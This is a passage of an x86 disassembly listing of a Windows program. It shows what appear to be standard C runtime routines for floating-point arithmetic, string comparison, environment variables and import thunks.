sub_4206A5+59j add esi, 4 jmp short loc_4206E7 ; --------------------------------------------------------------------------- loc_420714: ; CODE XREF: sub_4206A5+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_42071E ; --------------------------------------------------------------------------- loc_42071C: ; CODE XREF: sub_4206A5+10j ; sub_4206A5+1Cj ... xor eax, eax loc_42071E: ; CODE XREF: sub_4206A5+75j pop edi pop esi pop ebx retn sub_4206A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420722 proc near ; CODE XREF: sub_41FF41+165p ; sub_420942+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_420922 cmp cx, 7FFFh jnb loc_420922 cmp dx, 0BFFDh ja loc_420922 cmp dx, 3FBFh ja short loc_42078B xor eax, eax jmp short loc_4207C5 ; --------------------------------------------------------------------------- loc_42078B: ; CODE XREF: sub_420722+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_4207AD inc [ebp+arg_0] test [esi+8], edx jnz short loc_4207AD xor eax, eax cmp [esi+4], eax jnz short loc_4207AF cmp [esi], eax jnz short loc_4207AF jmp loc_42091C ; --------------------------------------------------------------------------- loc_4207AD: ; CODE XREF: sub_420722+71j ; sub_420722+79j xor eax, eax loc_4207AF: ; CODE XREF: sub_420722+80j ; sub_420722+84j cmp cx, ax jnz short loc_4207D2 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_4207D2 cmp [ebx+4], eax jnz short loc_4207D2 cmp [ebx], eax jnz short loc_4207D2 loc_4207C5: ; CODE XREF: sub_420722+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_42093D ; --------------------------------------------------------------------------- loc_4207D2: ; CODE XREF: sub_420722+90j ; sub_420722+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_4207E2: ; CODE XREF: sub_420722+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_420836 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_4207FE: ; CODE XREF: sub_420722+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41F893 add esp, 0Ch test eax, eax jz short loc_420829 mov eax, [ebp+var_4] inc word ptr [eax] loc_420829: ; CODE XREF: sub_420722+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_4207FE loc_420836: ; CODE XREF: sub_420722+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_4207E2 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_420879 loc_420854: ; CODE XREF: sub_420722+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_420872 lea eax, [ebp+var_24] push eax call sub_41F912 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_420854 loc_420872: ; CODE XREF: sub_420722+136j cmp word ptr [ebp+arg_0], 0 jg short loc_4208B2 loc_420879: ; CODE XREF: sub_420722+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_4208B2 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_420892: ; CODE XREF: sub_420722+184j test byte ptr [ebp+var_24], 1 jz short loc_42089B inc [ebp+var_14] loc_42089B: ; CODE XREF: sub_420722+174j lea eax, [ebp+var_24] push eax call sub_41F940 dec ebx pop ecx jnz short loc_420892 cmp [ebp+var_14], 0 jz short loc_4208B2 or byte ptr [ebp+var_24], 1 loc_4208B2: ; CODE XREF: sub_420722+155j ; sub_420722+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_4208C9 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_4208FE loc_4208C9: ; CODE XREF: sub_420722+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_4208FB and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_4208F6 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_4208F0 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_4208FE ; --------------------------------------------------------------------------- loc_4208F0: ; CODE XREF: sub_420722+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_4208FE ; --------------------------------------------------------------------------- loc_4208F6: ; CODE XREF: sub_420722+1B5j inc [ebp+var_20+2] jmp short loc_4208FE ; --------------------------------------------------------------------------- loc_4208FB: ; CODE XREF: sub_420722+1ABj inc [ebp+var_24+2] loc_4208FE: ; CODE XREF: sub_420722+1A5j ; sub_420722+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_420922 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42091C: ; CODE XREF: sub_420722+86j mov [esi+0Ah], ax jmp short loc_42093D ; --------------------------------------------------------------------------- loc_420922: ; CODE XREF: sub_420722+42j ; sub_420722+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_42093D: ; CODE XREF: sub_420722+ABj ; sub_420722+1FEj pop edi pop esi pop ebx leave retn sub_420722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420942 proc near ; CODE XREF: sub_41FA34+440p ; sub_41FF41+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_4365A0 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_4209BB jge short loc_42096A mov eax, [ebp+arg_4] mov ebx, offset dword_436700 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_42096A: ; CODE XREF: sub_420942+16j cmp [ebp+arg_8], ecx jnz short loc_420975 mov eax, [ebp+arg_0] mov [eax], cx loc_420975: ; CODE XREF: sub_420942+2Bj cmp [ebp+arg_4], ecx jz short loc_4209BB push esi push edi loc_42097C: ; CODE XREF: sub_420942+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_4209B4 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_4209A7 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_4209A7: ; CODE XREF: sub_420942+57j push esi push [ebp+arg_0] call sub_420722 pop ecx pop ecx xor ecx, ecx loc_4209B4: ; CODE XREF: sub_420942+49j cmp [ebp+arg_4], ecx jnz short loc_42097C pop edi pop esi loc_4209BB: ; CODE XREF: sub_420942+14j ; sub_420942+36j pop ebx leave retn sub_420942 endp ; =============== S U B R O U T I N E ======================================= sub_4209BE proc near ; CODE XREF: sub_42055F+8Bp ; sub_42055F+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_493F9C jnb short loc_420A25 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_493E60[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_420A25 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_4209FE and cl, 7Fh jmp short loc_420A0B ; --------------------------------------------------------------------------- loc_4209FE: ; CODE XREF: sub_4209BE+39j cmp [esp+4+arg_4], 4000h jnz short loc_420A19 or cl, 80h loc_420A0B: ; CODE XREF: sub_4209BE+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_420A19: ; CODE XREF: sub_4209BE+48j mov dword_4927F4, 16h jmp short loc_420A2F ; --------------------------------------------------------------------------- loc_420A25: ; CODE XREF: sub_4209BE+Bj ; sub_4209BE+27j mov dword_4927F4, 9 loc_420A2F: ; CODE XREF: sub_4209BE+65j or eax, 0FFFFFFFFh pop esi retn sub_4209BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420A34 proc near ; CODE XREF: sub_4206A5+5Ep ; sub_420F10+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_420A41 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_420A41: ; CODE XREF: sub_420A34+7j push dword_493FA0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_494244 call sub_420AE1 add esp, 1Ch test eax, eax jnz short loc_420A6E mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_420A6E: ; CODE XREF: sub_420A34+31j add eax, 0FFFFFFFEh pop ebp retn sub_420A34 endp ; =============== S U B R O U T I N E ======================================= sub_420A73 proc near ; CODE XREF: sub_4206A5+1Ep ; sub_420D89+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_492824 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_420AD4 mov ebx, ds:dword_4953E8 loc_420A8C: ; CODE XREF: sub_420A73+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_420ADC push ebp call sub_415CF8 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_420ADC push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_420ADC push edi push [esp+18h+var_4] call sub_420D89 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_420A8C loc_420AD4: ; CODE XREF: sub_420A73+11j xor eax, eax loc_420AD6: ; CODE XREF: sub_420A73+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_420ADC: ; CODE XREF: sub_420A73+29j ; sub_420A73+38j ... or eax, 0FFFFFFFFh jmp short loc_420AD6 sub_420A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420AE1 proc near ; CODE XREF: sub_420A34+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427BD0 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_492AD8, ebx push 1 pop edi jnz short loc_420B54 push edi mov eax, offset dword_427824 push eax push edi push eax push ebx push ebx call ds:dword_4952E8 ; CompareStringW test eax, eax jz short loc_420B31 mov dword_492AD8, edi jmp short loc_420B54 ; --------------------------------------------------------------------------- loc_420B31: ; CODE XREF: sub_420AE1+46j push edi mov eax, offset dword_4370B8 push eax push edi push eax push ebx push ebx call ds:dword_4952EC ; CompareStringA test eax, eax jz loc_420D4A mov dword_492AD8, 2 loc_420B54: ; CODE XREF: sub_420AE1+31j ; sub_420AE1+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_420B6B push esi push [ebp+arg_8] call sub_420D5E pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_420B6B: ; CODE XREF: sub_420AE1+78j cmp [ebp+arg_14], ebx jle short loc_420B80 push [ebp+arg_14] push [ebp+arg_10] call sub_420D5E pop ecx pop ecx mov [ebp+arg_14], eax loc_420B80: ; CODE XREF: sub_420AE1+8Dj mov eax, dword_492AD8 cmp eax, 2 jnz short loc_420BA5 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4952EC ; CompareStringA jmp loc_420D4C ; --------------------------------------------------------------------------- loc_420BA5: ; CODE XREF: sub_420AE1+A7j cmp eax, edi jnz loc_420D4A cmp [ebp+arg_18], ebx jnz short loc_420BBA mov eax, dword_49289C mov [ebp+arg_18], eax loc_420BBA: ; CODE XREF: sub_420AE1+CFj cmp esi, ebx jz short loc_420BC7 cmp [ebp+arg_14], ebx jnz loc_420C5F loc_420BC7: ; CODE XREF: sub_420AE1+DBj cmp esi, [ebp+arg_14] jnz short loc_420BD4 loc_420BCC: ; CODE XREF: sub_420AE1+13Cj ; sub_420AE1+16Dj push 2 loc_420BCE: ; CODE XREF: sub_420AE1+146j pop eax jmp loc_420D4C ; --------------------------------------------------------------------------- loc_420BD4: ; CODE XREF: sub_420AE1+E9j cmp [ebp+arg_14], edi jle short loc_420BE0 loc_420BD9: ; CODE XREF: sub_420AE1+151j ; sub_420AE1+159j ... mov eax, edi jmp loc_420D4C ; --------------------------------------------------------------------------- loc_420BE0: ; CODE XREF: sub_420AE1+F6j cmp esi, edi jg short loc_420C25 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call ds:dword_495468 ; GetCPInfo test eax, eax jz loc_420D4A cmp esi, ebx jle short loc_420C29 cmp [ebp+var_3C], 2 jb short loc_420C25 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_420C25 loc_420C0B: ; CODE XREF: sub_420AE1+142j mov dl, [eax+1] cmp dl, bl jz short loc_420C25 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_420C1F cmp cl, dl jbe short loc_420BCC loc_420C1F: ; CODE XREF: sub_420AE1+138j inc eax inc eax cmp [eax], bl jnz short loc_420C0B loc_420C25: ; CODE XREF: sub_420AE1+101j ; sub_420AE1+120j ... push 3 jmp short loc_420BCE ; --------------------------------------------------------------------------- loc_420C29: ; CODE XREF: sub_420AE1+11Aj cmp [ebp+arg_14], ebx jle short loc_420C5F cmp [ebp+var_3C], 2 jb short loc_420BD9 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_420BD9 loc_420C3C: ; CODE XREF: sub_420AE1+177j mov dl, [eax+1] cmp dl, bl jz short loc_420BD9 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_420C54 cmp cl, dl jbe loc_420BCC loc_420C54: ; CODE XREF: sub_420AE1+169j inc eax inc eax cmp [eax], bl jnz short loc_420C3C jmp loc_420BD9 ; --------------------------------------------------------------------------- loc_420C5F: ; CODE XREF: sub_420AE1+E0j ; sub_420AE1+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_4953EC ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_420D4A mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_416880 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_420CAE ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_420CAE: ; CODE XREF: sub_420AE1+1B5j cmp [ebp+var_24], ebx jz loc_420D4A push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_4953EC call esi ; MultiByteToWideChar test eax, eax jz short loc_420D4A push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_420D4A mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_416880 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_420D19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_420D19: ; CODE XREF: sub_420AE1+224j cmp edi, ebx jz short loc_420D4A push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_4953EC ; MultiByteToWideChar test eax, eax jz short loc_420D4A push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4952E8 ; CompareStringW jmp short loc_420D4C ; --------------------------------------------------------------------------- loc_420D4A: ; CODE XREF: sub_420AE1+63j ; sub_420AE1+C6j ... xor eax, eax loc_420D4C: ; CODE XREF: sub_420AE1+BFj ; sub_420AE1+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_420AE1 endp ; =============== S U B R O U T I N E ======================================= sub_420D5E proc near ; CODE XREF: sub_420AE1+7Ep ; sub_420AE1+95p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_420D7B loc_420D6E: ; CODE XREF: sub_420D5E+1Bj cmp byte ptr [eax], 0 jz short loc_420D7B inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_420D6E loc_420D7B: ; CODE XREF: sub_420D5E+Ej ; sub_420D5E+13j cmp byte ptr [eax], 0 pop esi jnz short loc_420D86 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_420D86: ; CODE XREF: sub_420D5E+21j mov eax, edx retn sub_420D5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D89 proc near ; CODE XREF: sub_420A73+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_420DED push 3Dh push [ebp+arg_0] call sub_420FCF mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_420DED cmp [ebp+arg_0], esi jz short loc_420DED mov eax, dword_49281C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_492820 jnz short loc_420DD3 push eax call sub_420F68 pop ecx mov dword_49281C, eax loc_420DD3: ; CODE XREF: sub_420D89+3Cj cmp eax, edi jnz short loc_420E2B cmp [ebp+arg_4], edi jz short loc_420DF5 cmp dword_492824, edi jz short loc_420DF5 call sub_420A73 test eax, eax jz short loc_420E2B loc_420DED: ; CODE XREF: sub_420D89+Dj ; sub_420D89+22j ... or eax, 0FFFFFFFFh loc_420DF0: ; CODE XREF: sub_420D89+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_420DF5: ; CODE XREF: sub_420D89+51j ; sub_420D89+59j cmp ebx, edi jnz loc_420F09 push 4 call sub_415CF8 cmp eax, edi pop ecx mov dword_49281C, eax jz short loc_420DED mov [eax], edi cmp dword_492824, edi jnz short loc_420E2B push 4 call sub_415CF8 cmp eax, edi pop ecx mov dword_492824, eax jz short loc_420DED mov [eax], edi loc_420E2B: ; CODE XREF: sub_420D89+4Cj ; sub_420D89+62j ... sub esi, [ebp+arg_0] mov edi, dword_49281C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_420F10 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_420E8B cmp dword ptr [edi], 0 jz short loc_420E8B test ebx, ebx jz short loc_420E83 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415D6C pop ecx loc_420E5D: ; CODE XREF: sub_420D89+E2j cmp dword ptr [edi], 0 jz short loc_420E6D mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_420E5D ; --------------------------------------------------------------------------- loc_420E6D: ; CODE XREF: sub_420D89+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_416ED2 pop ecx test eax, eax pop ecx jz short loc_420EBD jmp short loc_420EB8 ; --------------------------------------------------------------------------- loc_420E83: ; CODE XREF: sub_420D89+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420E8B: ; CODE XREF: sub_420D89+BDj ; sub_420D89+C2j test ebx, ebx jnz short loc_420F09 test esi, esi jge short loc_420E95 neg esi loc_420E95: ; CODE XREF: sub_420D89+108j lea eax, ds:8[esi*4] push eax push edi call sub_416ED2 pop ecx test eax, eax pop ecx jz loc_420DED mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_420EB8: ; CODE XREF: sub_420D89+F8j mov dword_49281C, eax loc_420EBD: ; CODE XREF: sub_420D89+F6j ; sub_420D89+100j cmp [ebp+arg_4], 0 jz short loc_420F09 push [ebp+arg_0] call sub_4158E0 inc eax inc eax push eax call sub_415CF8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_420F09 push [ebp+arg_0] push esi call sub_4175D0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call ds:dword_4952E4 ; SetEnvironmentVariableA push esi call sub_415D6C pop ecx loc_420F09: ; CODE XREF: sub_420D89+6Ej ; sub_420D89+104j ... xor eax, eax jmp loc_420DF0 sub_420D89 endp ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_420D89+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_49281C push edi mov eax, [esi] test eax, eax jz short loc_420F4B mov edi, [esp+8+arg_4] loc_420F22: ; CODE XREF: sub_420F10+39j push edi push eax push [esp+10h+arg_0] call sub_420A34 add esp, 0Ch test eax, eax jnz short loc_420F41 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_420F5B test al, al jz short loc_420F5B loc_420F41: ; CODE XREF: sub_420F10+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_420F22 loc_420F4B: ; CODE XREF: sub_420F10+Cj mov eax, esi sub eax, dword_49281C sar eax, 2 neg eax loc_420F58: ; CODE XREF: sub_420F10+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_420F5B: ; CODE XREF: sub_420F10+2Bj ; sub_420F10+2Fj mov eax, esi sub eax, dword_49281C sar eax, 2 jmp short loc_420F58 sub_420F10 endp ; =============== S U B R O U T I N E ======================================= sub_420F68 proc near ; CODE XREF: sub_420D89+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_420F77 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F68+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_420F89 loc_420F7F: ; CODE XREF: sub_420F68+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_420F7F loc_420F89: ; CODE XREF: sub_420F68+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415CF8 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_420FAA push 9 call sub_417FC6 pop ecx loc_420FAA: ; CODE XREF: sub_420F68+38j mov eax, [edi] mov ebx, edi loc_420FAE: ; CODE XREF: sub_420F68+5Bj test eax, eax jz short loc_420FC5 push eax add ebx, 4 call sub_421042 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_420FAE ; --------------------------------------------------------------------------- loc_420FC5: ; CODE XREF: sub_420F68+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_420F68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FCF proc near ; CODE XREF: sub_420D89+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_49402C, 0 jnz short loc_420FEA push [ebp+arg_4] push [ebp+arg_0] call sub_417B60 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_420FEA: ; CODE XREF: sub_420FCF+Aj mov ecx, [ebp+arg_0] loc_420FED: ; CODE XREF: sub_420FCF+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_421030 movzx edx, al test byte_494141[edx], 4 jz short loc_42101C mov dl, [ecx+1] inc ecx test dl, dl jz short loc_421027 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42102B jmp short loc_421024 ; --------------------------------------------------------------------------- loc_42101C: ; CODE XREF: sub_420FCF+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_421030 loc_421024: ; CODE XREF: sub_420FCF+4Bj inc ecx jmp short loc_420FED ; --------------------------------------------------------------------------- loc_421027: ; CODE XREF: sub_420FCF+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42102B: ; CODE XREF: sub_420FCF+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_421030: ; CODE XREF: sub_420FCF+25j ; sub_420FCF+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_420FCF endp ; =============== S U B R O U T I N E ======================================= sub_421042 proc near ; CODE XREF: sub_40F942+21p ; sub_420F68+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_421069 push esi call sub_4158E0 inc eax push eax call sub_415CF8 pop ecx test eax, eax pop ecx jz short loc_421069 push esi push eax call sub_4175D0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_421069: ; CODE XREF: sub_421042+7j ; sub_421042+1Aj xor eax, eax pop esi retn sub_421042 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421070 proc near ; CODE XREF: sub_401E57+5Ep ; .text:00405CA9p jmp ds:dword_495548 sub_421070 endp ; --------------------------------------------------------------------------- jmp ds:dword_495544 ; --------------------------------------------------------------------------- jmp ds:dword_495540 ; --------------------------------------------------------------------------- jmp ds:dword_49553C ; --------------------------------------------------------------------------- jmp ds:dword_495538 ; --------------------------------------------------------------------------- jmp ds:dword_495534 ; --------------------------------------------------------------------------- jmp ds:dword_495530 ; --------------------------------------------------------------------------- jmp ds:dword_49552C ; --------------------------------------------------------------------------- jmp ds:dword_495528 ; --------------------------------------------------------------------------- jmp ds:dword_495524 ; --------------------------------------------------------------------------- jmp ds:dword_495520 ; --------------------------------------------------------------------------- jmp ds:dword_49551C ; --------------------------------------------------------------------------- jmp ds:dword_495518 ; --------------------------------------------------------------------------- jmp ds:dword_495514 ; --------------------------------------------------------------------------- jmp ds:dword_495510 ; --------------------------------------------------------------------------- jmp ds:dword_49550C ; --------------------------------------------------------------------------- jmp ds:dword_495324 ; --------------------------------------------------------------------------- jmp ds:dword_495328 ; --------------------------------------------------------------------------- jmp ds:dword_49532C ; --------------------------------------------------------------------------- jmp ds:dword_495330 ; --------------------------------------------------------------------------- jmp ds:dword_495334 ; --------------------------------------------------------------------------- jmp ds:dword_495338 ; --------------------------------------------------------------------------- jmp ds:dword_49533C ; --------------------------------------------------------------------------- jmp ds:dword_495340 ; --------------------------------------------------------------------------- jmp ds:dword_495344 ; --------------------------------------------------------------------------- jmp ds:dword_495348 ; --------------------------------------------------------------------------- jmp ds:dword_49534C ; --------------------------------------------------------------------------- jmp ds:dword_495350 ; --------------------------------------------------------------------------- jmp ds:dword_495354 ; --------------------------------------------------------------------------- jmp ds:dword_495358 ; --------------------------------------------------------------------------- jmp ds:dword_49535C ; --------------------------------------------------------------------------- jmp ds:dword_495360 ; --------------------------------------------------------------------------- jmp ds:dword_495364 ; --------------------------------------------------------------------------- jmp ds:dword_495368 ; --------------------------------------------------------------------------- jmp ds:dword_49536C ; --------------------------------------------------------------------------- jmp ds:dword_495370 ; --------------------------------------------------------------------------- jmp ds:dword_495374 ; --------------------------------------------------------------------------- jmp ds:dword_495378 ; --------------------------------------------------------------------------- jmp ds:dword_49537C ; --------------------------------------------------------------------------- jmp ds:dword_495380 ; --------------------------------------------------------------------------- jmp ds:dword_495384 ; --------------------------------------------------------------------------- jmp ds:dword_495388 ; --------------------------------------------------------------------------- jmp ds:dword_49538C ; --------------------------------------------------------------------------- jmp ds:dword_495390 ; --------------------------------------------------------------------------- jmp 